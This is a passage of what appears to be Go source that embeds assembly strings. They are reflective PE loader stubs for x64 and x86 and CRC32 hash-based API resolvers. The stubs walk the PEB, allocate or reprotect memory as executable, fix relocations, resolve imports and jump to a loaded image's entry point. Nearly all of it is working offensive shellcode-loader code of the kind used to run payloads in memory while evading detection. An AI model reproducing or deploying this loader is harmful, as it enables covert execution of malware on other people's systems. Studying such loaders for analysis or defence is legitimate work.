|
|
||||||
jmp get_modules ; Get other modules
|
|
||||||
get_procs:
|
|
||||||
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA
|
|
||||||
add r14,rsi ; Get the IAT memory address
|
|
||||||
mov rax,[rax] ; Set the import names table RVA to eax
|
|
||||||
add rax,rsi ; Get the current import descriptor's import names table address
|
|
||||||
mov r15,rax ; Save &INT to R15
|
|
||||||
resolve:
|
|
||||||
cmp dword [rax],0 ; Check if end of the import names table
|
|
||||||
jz all_resolved ; If yes resolving process is done
|
|
||||||
mov rax,[rax] ; Get the RVA of function hint to eax
|
|
||||||
btr rax,0x3F ; Check if the high order bit is set
|
|
||||||
jnc name_resolve ; If high order bit is not set resolve with INT entry
|
|
||||||
shl rax,2 ; Discard the high bit by shifting
|
|
||||||
shr rax,2 ; Shift back the original value
|
|
||||||
call GetProcAddress ; Get the API address with hint
|
|
||||||
jmp insert_iat ; Insert the address of API tı IAT
|
|
||||||
name_resolve:
|
|
||||||
add rax,rsi ; Set the address of function hint
|
|
||||||
add rax,2 ; Move to function name
|
|
||||||
call GetProcAddress ; Get the function address to eax
|
|
||||||
insert_iat:
|
|
||||||
mov [r14],rax ; Insert the function address to IAT
|
|
||||||
add r14,8 ; Increase the IAT index
|
|
||||||
add r15,8 ; Increase the import names table index
|
|
||||||
mov rax,r15 ; Set the address of import names table address to eax
|
|
||||||
jmp resolve ; Loop
|
|
||||||
all_resolved:
|
|
||||||
mov qword [r14],0 ; Insert a NULL qword
|
|
||||||
ret ; <-
|
|
||||||
LoadLibraryA:
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA")
|
|
||||||
call api_call ; LoadLibraryA(RCX)
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
ret ; <-
|
|
||||||
GetProcAddress:
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
mov rcx,r13 ; Move the module handle to RCX as first parameter
|
|
||||||
mov rdx,rax ; Move the address of function name string to RDX as second parameter
|
|
||||||
mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress")
|
|
||||||
call api_call ; GetProcAddress(ebx,[esp+4])
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
ret ; <-
|
|
||||||
complete:
|
|
||||||
pop rax ; Clean out the stack
|
|
||||||
pop rcx ; Pop the ImageSize into RCX
|
|
||||||
push rdi ; Save ImageBase to stack
|
|
||||||
mov r13,rdi ; Copy the new base value to r13
|
|
||||||
add r13,r12 ; Add the address of entry value to new base address
|
|
||||||
memcpy:
|
|
||||||
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
|
||||||
mov [rdi],al ; Move 1 byte of PE image to image base
|
|
||||||
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
|
|
||||||
inc rsi ; Increase PE image index
|
|
||||||
inc rdi ; Increase image base index
|
|
||||||
loop memcpy ; Loop until zero
|
|
||||||
PE_start:
|
|
||||||
pop r13 ; Pop the image base to r13
|
|
||||||
or rcx,-1 ; hProcess
|
|
||||||
xor rdx,rdx ; lpBaseAddress
|
|
||||||
xor r8,r8 ; hProcess
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache")
|
|
||||||
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
add r13,r12 ; Add the address of entry value to image base
|
|
||||||
jmp r13 ; Call the AOE
|
|
||||||
|
|
||||||
`
|
|
||||||
|
|
||||||
const LoaderX86 = `
|
|
||||||
start:
|
|
||||||
cld ; Clear direction flags
|
|
||||||
pop esi ; Get the address of image to esi
|
|
||||||
call get_ip ; Push the current EIP to stack
|
|
||||||
get_ip:
|
|
||||||
sub [esp],esi ; Subtract &PE from EIP and get image_size
|
|
||||||
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
|
|
||||||
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
|
|
||||||
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
|
|
||||||
push eax ; Save the address of entry to stack
|
|
||||||
push 0x40 ; PAGE_EXECUTE_READ_WRITE
|
|
||||||
push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
|
|
||||||
push dword [esp+0xC] ; dwSize
|
|
||||||
push 0 ; lpAddress
|
|
||||||
push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
|
|
||||||
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
|
||||||
push eax ; Save the new image base to stack
|
|
||||||
xor edx,edx ; Zero out the edx
|
|
||||||
relocate:
|
|
||||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
|
||||||
mov ecx,[eax+esi+0xA4] ; Base relocation table size
|
|
||||||
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
|
|
||||||
add eax,esi ; Base relocation table memory address
|
|
||||||
add ecx,eax ; End of base relocation table
|
|
||||||
calc_delta:
|
|
||||||
mov edi,[esp] ; Move the new base address to EDI
|
|
||||||
sub edi,ebx ; Delta value
|
|
||||||
push dword [eax] ; Reloc RVA
|
|
||||||
push dword [eax+4] ; Reloc table size
|
|
||||||
add eax,8 ; Move to the reloc descriptor
|
|
||||||
jmp fix ; Start fixing
|
|
||||||
get_rva:
|
|
||||||
cmp ecx,eax ; Check if the end of the reloc section ?
|
|
||||||
jle reloc_fin ; If yes goto fin
|
|
||||||
add esp,8 ; Deallocate old reloc RVA and reloc table size variables
|
|
||||||
push dword [eax] ; Push new reloc RVA
|
|
||||||
push dword [eax+4] ; Push new reloc table size
|
|
||||||
add eax,8 ; Move 8 bytes
|
|
||||||
fix:
|
|
||||||
cmp word [esp],8 ; Check if the end of the reloc block
|
|
||||||
jz get_rva ; If yes set the next block RVA
|
|
||||||
mov dx,word [eax] ; Move the reloc desc to dx
|
|
||||||
cmp dx,0 ; Check if it is a padding word
|
|
||||||
je pass
|
|
||||||
and dx,0x0FFF ; Get the last 12 bits
|
|
||||||
add edx,[esp+4] ; Add block RVA to desc value
|
|
||||||
add edx,esi ; Add the start address of the image
|
|
||||||
add dword [edx],edi ; Add the delta value to calculated absolute address
|
|
||||||
pass:
|
|
||||||
sub dword [esp],2 ; Decrease the index
|
|
||||||
add eax,2 ; Move to the next reloc desc.
|
|
||||||
xor edx,edx ; Zero out edx
|
|
||||||
jmp fix ; Loop
|
|
||||||
reloc_fin:
|
|
||||||
pop eax ; Deallocate all vars
|
|
||||||
pop eax ; ...
|
|
||||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
|
||||||
mov eax,[eax+esi+0x80] ; Import table RVA
|
|
||||||
add eax,esi ; Import table memory address (first image import descriptor)
|
|
||||||
push eax ; Save the address of import descriptor to stack
|
|
||||||
get_modules:
|
|
||||||
cmp dword [eax],0 ; Check if the import names table RVA is NULL
|
|
||||||
jz complete ; If yes building process is done
|
|
||||||
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
|
|
||||||
add eax,esi ; Get the dll name address
|
|
||||||
call LoadLibraryA ; Load the library
|
|
||||||
mov ebx,eax ; Move the dll handle to ebx
|
|
||||||
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
|
||||||
call get_procs ; Resolve all windows API function addresses
|
|
||||||
add dword [esp],0x14 ; Move to the next import descriptor
|
|
||||||
mov eax,[esp] ; Set the new import descriptor address to eax
|
|
||||||
jmp get_modules
|
|
||||||
get_procs:
|
|
||||||
push ecx ; Save ecx to stack
|
|
||||||
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
|
|
||||||
add [esp],esi ; Get the IAT memory address
|
|
||||||
mov eax,[eax] ; Set the import names table RVA to eax
|
|
||||||
add eax,esi ; Get the current import descriptor's import names table address
|
|
||||||
push eax ; Save it to stack
|
|
||||||
resolve:
|
|
||||||
cmp dword [eax],0 ; Check if end of the import names table
|
|
||||||
jz all_resolved ; If yes resolving process is done
|
|
||||||
mov eax,[eax] ; Get the RVA of function hint to eax
|
|
||||||
cmp eax,0x80000000 ; Check if the high order bit is set
|
|
||||||
js name_resolve ; If high order bit is not set resolve with INT entry
|
|
||||||
sub eax,0x80000000 ; Zero out the high bit
|
|
||||||
call GetProcAddress ; Get the API address with hint
|
|
||||||
jmp insert_iat ; Insert the address of API tı IAT
|
|
||||||
name_resolve:
|
|
||||||
add eax,esi ; Set the address of function hint
|
|
||||||
add eax,2 ; Move to function name
|
|
||||||
call GetProcAddress ; Get the function address to eax
|
|
||||||
insert_iat:
|
|
||||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
|
||||||
mov [ecx],eax ; Insert the function address to IAT
|
|
||||||
add dword [esp],4 ; Increase the import names table index
|
|
||||||
add dword [esp+4],4 ; Increase the IAT index
|
|
||||||
mov eax,[esp] ; Set the address of import names table address to eax
|
|
||||||
jmp resolve ; Loop
|
|
||||||
all_resolved:
|
|
||||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
|
||||||
mov dword [ecx],0 ; Insert a NULL dword
|
|
||||||
pop ecx ; Deallocate index values
|
|
||||||
pop ecx ; ...
|
|
||||||
pop ecx ; Put back the ecx value
|
|
||||||
ret ; <-
|
|
||||||
LoadLibraryA:
|
|
||||||
push ecx ; Save ecx to stack
|
|
||||||
push edx ; Save edx to stack
|
|
||||||
push eax ; Push the address of linrary name string
|
|
||||||
push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" )
|
|
||||||
call api_call ; LoadLibraryA([esp+4])
|
|
||||||
pop edx ; Retreive edx
|
|
||||||
pop ecx ; Retreive ecx
|
|
||||||
ret ; <-
|
|
||||||
GetProcAddress:
|
|
||||||
push ecx ; Save ecx to stack
|
|
||||||
push edx ; Save edx to stack
|
|
||||||
push eax ; Push the address of proc name string
|
|
||||||
push ebx ; Push the dll handle
|
|
||||||
push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" )
|
|
||||||
call api_call ; GetProcAddress(ebx,[esp+4])
|
|
||||||
pop edx ; Retrieve edx
|
|
||||||
pop ecx ; Retrieve ecx
|
|
||||||
ret ; <-
|
|
||||||
complete:
|
|
||||||
pop eax ; Clean out the stack
|
|
||||||
pop edi ; ..
|
|
||||||
mov edx,edi ; Copy the address of new base to EDX
|
|
||||||
pop eax ; Pop the address_of_entry to EAX
|
|
||||||
add edi,eax ; Add the address of entry to new image base
|
|
||||||
pop ecx ; Pop the image_size to ECX
|
|
||||||
memcpy:
|
|
||||||
mov al,[esi] ; Move 1 byte of PE image to AL register
|
|
||||||
mov [edx],al ; Move 1 byte of PE image to image base
|
|
||||||
inc esi ; Increase PE image index
|
|
||||||
inc edx ; Increase image base index
|
|
||||||
loop memcpy ; Loop until ECX = 0
|
|
||||||
PE_Start:
|
|
||||||
jmp edi ; Call PE AOE
|
|
||||||
|
|
||||||
`
|
|
||||||
|
|
||||||
const FixedLoaderX64 = `
|
|
||||||
start:
|
|
||||||
pop rsi ; Get the address of image to rsi
|
|
||||||
call get_ip ; Push the current EIP to stack
|
|
||||||
get_ip:
|
|
||||||
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11
|
|
||||||
mov rbp,rsp ; Copy current stack address to rbp
|
|
||||||
and rbp,-0x1000 ; Create a new shadow stack address
|
|
||||||
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
|
|
||||||
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
|
|
||||||
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
|
|
||||||
push rax ; Allocate 8 bytes for lpflOldProtect
|
|
||||||
mov r9,rsp ; lpflOldProtect
|
|
||||||
mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE
|
|
||||||
mov rdx,qword [rsp+8] ; dwSize
|
|
||||||
mov rcx,rbx ; lpAddress
|
|
||||||
mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
|
|
||||||
xchg rsp,rbp ; Swap shadow stack
|
|
||||||
call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
|
|
||||||
xchg rsp,rbp ; Swap shadow stack
|
|
||||||
xor rax,rax ; Zero EAX
|
|
||||||
xor r14,r14 ; Zero R14
|
|
||||||
xor r15,r15 ; Zero R15
|
|
||||||
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
|
||||||
mov eax,dword [rax+rsi+0x90] ; Import table RVA
|
|
||||||
add rax,rsi ; Import table memory address (first image import descriptor)
|
|
||||||
push rax ; Save import descriptor to stack
|
|
||||||
get_modules:
|
|
||||||
cmp dword [rax],0 ; Check if the import names table RVA is NULL
|
|
||||||
jz complete ; If yes building process is done
|
|
||||||
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
|
|
||||||
add rcx,rsi ; Get the dll name address
|
|
||||||
call LoadLibraryA ; Load the library
|
|
||||||
mov r13,rax ; Move the dll handle to R13
|
|
||||||
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
|
||||||
call get_procs ; Resolve all windows API function addresses
|
|
||||||
add dword [rsp],0x14 ; Move to the next import descriptor
|
|
||||||
mov rax,[rsp] ; Set the new import descriptor address to RAX
|
|
||||||
jmp get_modules
|
|
||||||
get_procs:
|
|
||||||
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D
|
|
||||||
add r14,rsi ; Get the IAT memory address
|
|
||||||
mov rax,[rax] ; Set the import names table RVA to RAX
|
|
||||||
add rax,rsi ; Get the current import descriptor's import names table address
|
|
||||||
mov r15,rax ; Save &INT to R15
|
|
||||||
resolve:
|
|
||||||
cmp dword [rax],0 ; Check if end of the import names table
|
|
||||||
jz all_resolved ; If yes resolving stage is done
|
|
||||||
mov rax,[rax] ; Get the RVA of function hint to eax
|
|
||||||
btr rax,0x3F ; Check if the high order bit is set
|
|
||||||
jnc name_resolve ; If high order bit is not set resolve with INT entry
|
|
||||||
shl rax,2 ; Discard the high bit by shifting
|
|
||||||
shr rax,2 ; Shift back the original value
|
|
||||||
call GetProcAddress ; Get API address with hint
|
|
||||||
jmp insert_iat ; Insert the address of API to IAT
|
|
||||||
name_resolve:
|
|
||||||
add rax,rsi ; Set the address of function hint
|
|
||||||
add rax,2 ; Move to function name
|
|
||||||
call GetProcAddress ; Get the function address to eax
|
|
||||||
insert_iat:
|
|
||||||
mov [r14],rax ; Insert the function address to IAT
|
|
||||||
add r14,8 ; Increase the IAT index
|
|
||||||
add r15,8 ; Increase the import names table index
|
|
||||||
mov rax,r15 ; Set the address of import names table address to RAX
|
|
||||||
jmp resolve ; Loop
|
|
||||||
all_resolved:
|
|
||||||
mov qword [r14],0 ; Insert a NULL qword
|
|
||||||
ret ; <-
|
|
||||||
LoadLibraryA:
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" )
|
|
||||||
call api_call ; LoadLibraryA(RCX)
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
ret ; <-
|
|
||||||
GetProcAddress:
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
mov rcx,r13 ; Move the module handle to RCX as first parameter
|
|
||||||
mov rdx,rax ; Move the address of function name string to RDX as second parameter
|
|
||||||
mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" )
|
|
||||||
call api_call ; GetProcAddress(RCX,RDX)
|
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
|
||||||
ret ; <-
|
|
||||||
complete:
|
|
||||||
pop rax ; Clean out the stack
|
|
||||||
pop rax ; ...
|
|
||||||
pop rcx ; Pop the image_size to RCX
|
|
||||||
push rbx ; Push the new base adress to stack
|
|
||||||
add [rsp],r12 ; Add the address of entry value to new base address
|
|
||||||
memcpy:
|
|
||||||
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
|
||||||
mov [rbx],al ; Move 1 byte of PE image to image base
|
|
||||||
inc rsi ; Increase PE image index
|
|
||||||
inc rbx ; Increase image base index
|
|
||||||
loop memcpy ; Loop until zero
|
|
||||||
ret ; <-
|
|
||||||
|
|
||||||
`
|
|
||||||
|
|
||||||
const FixedLoaderX86 = `
|
|
||||||
start: ;
|
|
||||||
cld ; Clear direction flags
|
|
||||||
pop esi ; Get the address of image to esi
|
|
||||||
call get_ip ; Push the current EIP to stack
|
|
||||||
get_ip:
|
|
||||||
sub [esp],esi ; Subtract &PE from EIP and get image_size
|
|
||||||
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
|
|
||||||
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
|
|
||||||
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
|
|
||||||
push eax ; Save the address of entry to stack
|
|
||||||
push ebx ; Save image base to stack
|
|
||||||
push 0x00000000 ; Allocate a DWORD variable inside stack
|
|
||||||
push esp ; lpflOldProtect
|
|
||||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
|
||||||
push dword [esp+0x14] ; dwSize
|
|
||||||
push ebx ; lpAddress
|
|
||||||
push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
|
|
||||||
call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
|
|
||||||
pop eax ; Fix the stack
|
|
||||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
|
||||||
mov eax,[eax+esi+0x80] ; Import table RVA
|
|
||||||
add eax,esi ; Import table memory address (first image import descriptor)
|
|
||||||
push eax ; Save the address of import descriptor to stack
|
|
||||||
get_modules:
|
|
||||||
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
|
|
||||||
jz complete ; If yes building process is done
|
|
||||||
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
|
|
||||||
add eax,esi ; Get the dll name address
|
|
||||||
call LoadLibraryA ; Load the library
|
|
||||||
mov ebx,eax ; Move the dll handle to ebx
|
|
||||||
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
|
||||||
call get_procs ; Resolve all windows API function addresses
|
|
||||||
add dword [esp],0x14 ; Move to the next import descriptor
|
|
||||||
mov eax,[esp] ; Set the new import descriptor address to eax
|
|
||||||
jmp get_modules
|
|
||||||
get_procs:
|
|
||||||
push ecx ; Save ecx to stack
|
|
||||||
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
|
|
||||||
add [esp],esi ; Get the IAT memory address
|
|
||||||
mov eax,[eax] ; Set the import names table RVA to eax
|
|
||||||
add eax,esi ; Get the current import descriptor's import names table address
|
|
||||||
push eax ; Save it to stack
|
|
||||||
resolve:
|
|
||||||
cmp dword [eax],0x00 ; Check if end of the import names table
|
|
||||||
jz all_resolved ; If yes resolving process is done
|
|
||||||
mov eax,[eax] ; Get the RVA of function hint to eax
|
|
||||||
cmp eax,0x80000000 ; Check if the high order bit is set
|
|
||||||
js name_resolve ; If high order bit is not set resolve with INT entry
|
|
||||||
sub eax,0x80000000 ; Zero out the high bit
|
|
||||||
call GetProcAddress ; Get the API address with hint
|
|
||||||
jmp insert_iat ; Insert the address of API tı IAT
|
|
||||||
name_resolve:
|
|
||||||
add eax,esi ; Set the address of function hint
|
|
||||||
add eax,0x02 ; Move to function name
|
|
||||||
call GetProcAddress ; Get the function address to eax
|
|
||||||
insert_iat:
|
|
||||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
|
||||||
mov [ecx],eax ; Insert the function address to IAT
|
|
||||||
add dword [esp],0x04 ; Increase the import names table index
|
|
||||||
add dword [esp+4],0x04 ; Increase the IAT index
|
|
||||||
mov eax,[esp] ; Set the address of import names table address to eax
|
|
||||||
jmp resolve ; Loop
|
|
||||||
all_resolved:
|
|
||||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
|
||||||
mov dword [ecx],0x00 ; Insert a NULL dword
|
|
||||||
pop ecx ; Deallocate index values
|
|
||||||
pop ecx ; ...
|
|
||||||
pop ecx ; Put back the ecx value
|
|
||||||
ret ; <-
|
|
||||||
LoadLibraryA:
|
|
||||||
push ecx ; Save ecx to stack
|
|
||||||
push edx ; Save edx to stack
|
|
||||||
push eax ; Push the address of linrary name string
|
|
||||||
push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" )
|
|
||||||
call api_call ; LoadLibraryA([esp+4])
|
|
||||||
pop edx ; Retreive edx
|
|
||||||
pop ecx ; Retreive ecx
|
|
||||||
ret ; <-
|
|
||||||
GetProcAddress:
|
|
||||||
push ecx ; Save ecx to stack
|
|
||||||
push edx ; Save edx to stack
|
|
||||||
push eax ; Push the address of proc name string
|
|
||||||
push ebx ; Push the dll handle
|
|
||||||
push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" )
|
|
||||||
call api_call ; GetProcAddress(ebx,[esp+4])
|
|
||||||
pop edx ; Retrieve edx
|
|
||||||
pop ecx ; Retrieve ecx
|
|
||||||
ret ; <-
|
|
||||||
complete:
|
|
||||||
pop eax ; Clean out the stack
|
|
||||||
pop edi ; ..
|
|
||||||
mov edx,edi ; Copy the address of new base to EDX
|
|
||||||
pop eax ; Pop the address_of_entry to EAX
|
|
||||||
add edi,eax ; Add the address of entry to new image base
|
|
||||||
pop ecx ; Pop the image_size to ECX
|
|
||||||
memcpy:
|
|
||||||
mov al,[esi] ; Move 1 byte of PE image to AL register
|
|
||||||
mov [edx],al ; Move 1 byte of PE image to image base
|
|
||||||
inc esi ; Increase PE image index
|
|
||||||
inc edx ; Increase image base index
|
|
||||||
loop memcpy ; Loop until ECX = 0
|
|
||||||
PE_Start:
|
|
||||||
jmp edi ; Call PE AOE
|
|
||||||
|
|
||||||
`
|
|
||||||
|
|
||||||
const CRC_API_64 = `
|
|
||||||
|
|
||||||
api_call:
|
|
||||||
push r9 ; Save the 4th parameter
|
|
||||||
push r8 ; Save the 3rd parameter
|
|
||||||
push rdx ; Save the 2nd parameter
|
|
||||||
push rcx ; Save the 1st parameter
|
|
||||||
push rsi ; Save RSI
|
|
||||||
xor rdx, rdx ; Zero rdx
|
|
||||||
mov rdx, gs:[rdx+0x60] ; Get a pointer to the PEB
|
|
||||||
mov rdx, [rdx+0x18] ; Get PEB->Ldr
|
|
||||||
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
|
|
||||||
next_mod: ;
|
|
||||||
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
|
|
||||||
movzx rcx, word [rdx+0x4A]; Set rcx to the length we want to check
|
|
||||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
|
||||||
loop_modname: ;
|
|
||||||
xor rax, rax ; Clear rax
|
|
||||||
lodsb ; Read in the next byte of the name
|
|
||||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
|
||||||
jl not_lowercase ;
|
|
||||||
sub al, 0x20 ; If so normalise to uppercase
|
|
||||||
not_lowercase: ;
|
|
||||||
crc32 r9d,al ; Calculate CRC3
|
|
||||||
loop loop_modname ; Loop untill we have read enough
|
|
||||||
; We now have the module hash computed
|
|
||||||
push rdx ; Save the current position in the module list for later
|
|
||||||
push r9 ; Save the current module hash for later
|
|
||||||
; Proceed to itterate the export address table,
|
|
||||||
mov rdx, [rdx+0x20] ; Get this modules base address
|
|
||||||
mov eax, dword [rdx+0x3C]; Get PE header
|
|
||||||
add rax, rdx ; Add the modules base address
|
|
||||||
cmp word [rax+0x18],0x020B ; is this module actually a PE64 executable?
|
|
||||||
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
|
|
||||||
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
|
|
||||||
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
|
|
||||||
jne get_next_mod1 ; if not, proceed to the next module
|
|
||||||
mov eax, dword [rax+0x88] ; Get export tables RVA
|
|
||||||
test rax, rax ; Test if no export address table is present
|
|
||||||
jz get_next_mod1 ; If no EAT present, process the next module
|
|
||||||
add rax, rdx ; Add the modules base address
|
|
||||||
push rax ; Save the current modules EAT
|
|
||||||
mov ecx, dword [rax+0x18]; Get the number of function names
|
|
||||||
mov r8d, dword [rax+0x20]; Get the rva of the function names
|
|
||||||
add r8, rdx ; Add the modules base address
|
|
||||||
; Computing the module hash + function hash
|
|
||||||
get_next_func: ;
|
|
||||||
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
|
||||||
mov r9, [rsp+8] ; Reset the current module hash
|
|
||||||
dec rcx ; Decrement the function name counter
|
|
||||||
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
|
||||||
add rsi, rdx ; Add the modules base address
|
|
||||||
; And compare it to the one we want
|
|
||||||
loop_funcname: ;
|
|
||||||
xor rax, rax ; Clear rax
|
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
|
||||||
crc32 r9d,al ; Calculate CRC32
|
|
||||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
|
||||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
|
||||||
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
|
||||||
pop rax ; Restore the current modules EAT
|
|
||||||
mov r8d, dword [rax+0x24]; Get the ordinal table rva
|
|
||||||
add r8, rdx ; Add the modules base address
|
|
||||||
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
|
||||||
mov r8d, dword [rax+0x1C]; Get the function addresses table rva
|
|
||||||
add r8, rdx ; Add the modules base address
|
|
||||||
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
|
||||||
add rax, rdx ; Add the modules base address to get the functions actual VA
|
|
||||||
; We now fix up the stack and perform the call to the drsired function...
|
|
||||||
finish:
|
|
||||||
pop r8 ; Clear off the current modules hash
|
|
||||||
pop r8 ; Clear off the current position in the module list
|
|
||||||
pop rsi ; Restore RSI
|
|
||||||
pop rcx ; Restore the 1st parameter
|
|
||||||
pop rdx ; Restore the 2nd parameter
|
|
||||||
pop r8 ; Restore the 3rd parameter
|
|
||||||
pop r9 ; Restore the 4th parameter
|
|
||||||
pop r10 ; Pop off the return address
|
|
||||||
sub rsp, 0x20 ; Reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
|
||||||
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
|
||||||
push r10 ; Push back the return address
|
|
||||||
jmp rax ; Jump to required function
|
|
||||||
; We now automagically return to the correct caller...
|
|
||||||
get_next_mod: ;
|
|
||||||
pop rax ; Pop off the current (now the previous) modules EAT
|
|
||||||
get_next_mod1: ;
|
|
||||||
pop r9 ; Pop off the current (now the previous) modules hash
|
|
||||||
pop rdx ; Restore our position in the module list
|
|
||||||
mov rdx, [rdx] ; Get the next module
|
|
||||||
jmp next_mod ; Process this module
|
|
||||||
|
|
||||||
`
|
|
||||||
|
|
||||||
const CRC_API_32 = `
|
|
||||||
|
|
||||||
api_call:
|
|
||||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
|
||||||
mov ebp, esp ; Create a new stack frame
|
|
||||||
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
|
||||||
mov edx, fs:[eax+0x30] ; Get a pointer to the PEB
|
|
||||||
mov edx, [edx+0xC] ; Get PEB->Ldr
|
|
||||||
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
|
|
||||||
next_mod: ;
|
|
||||||
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
|
|
||||||
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
|
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
|
||||||
loop_modname: ;
|
|
||||||
lodsb ; Read in the next byte of the name
|
|
||||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
|
||||||
jl not_lowercase ;
|
|
||||||
sub al, 0x20 ; If so normalise to uppercase
|
|
||||||
not_lowercase: ;
|
|
||||||
crc32 edi,al ; Calculate CRC32 value
|
|
||||||
loop loop_modname ; Loop until we have read enough
|
|
||||||
|
|
||||||
; We now have the module hash computed
|
|
||||||
push edx ; Save the current position in the module list for later
|
|
||||||
push edi ; Save the current module hash for later
|
|
||||||
; Proceed to iterate the export address table,
|
|
||||||
mov edx, [edx+0x10] ; Get this modules base address
|
|
||||||
mov ecx, [edx+0x3C] ; Get PE header
|
|
||||||
|
|
||||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
|
||||||
mov ecx, [ecx+edx+0x78] ; Get the EAT from the PE header
|
|
||||||
jecxz get_next_mod1 ; If no EAT present, process the next module
|
|
||||||
add ecx, edx ; Add the modules base address
|
|
||||||
push ecx ; Save the current modules EAT
|
|
||||||
mov ebx, [ecx+0x20] ; Get the rva of the function names
|
|
||||||
add ebx, edx ; Add the modules base address
|
|
||||||
mov ecx, [ecx+0x18] ; Get the number of function names
|
|
||||||
; now ecx returns to its regularly scheduled counter duties
|
|
||||||
|
|
||||||
; Computing the module hash + function hash
|
|
||||||
get_next_func: ;
|
|
||||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
|
||||||
mov edi, [ebp-8] ; Reset the current module hash
|
|
||||||
dec ecx ; Decrement the function name counter
|
|
||||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
|
||||||
add esi, edx ; Add the modules base address
|
